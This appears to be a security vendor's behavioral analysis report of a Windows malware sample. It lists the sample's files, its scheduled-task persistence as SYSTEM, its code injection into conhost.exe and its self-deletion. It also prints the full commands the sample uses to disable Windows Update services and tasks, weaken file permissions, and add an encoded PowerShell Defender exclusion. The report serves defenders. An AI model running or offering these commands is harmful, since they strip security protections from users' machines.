Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\sfg4w
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
Injects code into
the following system processes:
- <SYSTEM32>\conhost.exe
Modifies file system
Creates the following files
- %TEMP%\251436711-f34542-4bvsf\sfg4w.exe
- %APPDATA%\google\libs\wr64.sys
Deletes itself.
Miscellaneous
Creates and executes the following
- '%TEMP%\251436711-f34542-4bvsf\sfg4w.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "PAAjAHcAbQB4AGsAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBmAGcAawB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAG...
- '<SYSTEM32>\cmd.exe' cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "sfg4w" /tr "%TEMP%\251436711-F34542-4BVSF\sfg4w.exe"
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru "System" /tn "sfg4w" /tr "%TEMP%\251436711-F34542-4BVSF\sfg4w.exe"
- '<SYSTEM32>\cmd.exe' cmd /c "%TEMP%\251436711-F34542-4BVSF\sfg4w.exe"
- '<SYSTEM32>\cmd.exe' cmd /c choice /C Y /N /D Y /T 3 & Del "<Full path to file>"
- '<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
- '<SYSTEM32>\reg.exe' add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
- '<SYSTEM32>\reg.exe' add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
- '<SYSTEM32>\takeown.exe' /f C:\\Windows\\System32\\WaaSMedicSvc.dll
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
- '<SYSTEM32>\icacls.exe' C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
- '<SYSTEM32>\sc.exe' failure UsoSvc reset= 0 actions= ""
- '<SYSTEM32>\cmd.exe' cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits s...
- '<SYSTEM32>\cmd.exe' cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\sc.exe' failure dosvc reset= 0 actions= ""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHcAbQB4AGsAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBmAGcAawB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkA...
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\sc.exe' failure wuauserv reset= 0 actions= ""
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\sc.exe' config bits start= disabled
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' failure bits reset= 0 actions= ""
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
- '<SYSTEM32>\sc.exe' config dosvc start= disabled
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\cmd.exe' cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits s...' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "PAAjAHcAbQB4AGsAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBmAGcAawB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAG...' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c "%TEMP%\251436711-F34542-4BVSF\sfg4w.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "sfg4w" /tr "%TEMP%\251436711-F34542-4BVSF\sfg4w.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c choice /C Y /N /D Y /T 3 & Del "<Full path to file>"' (with hidden window)
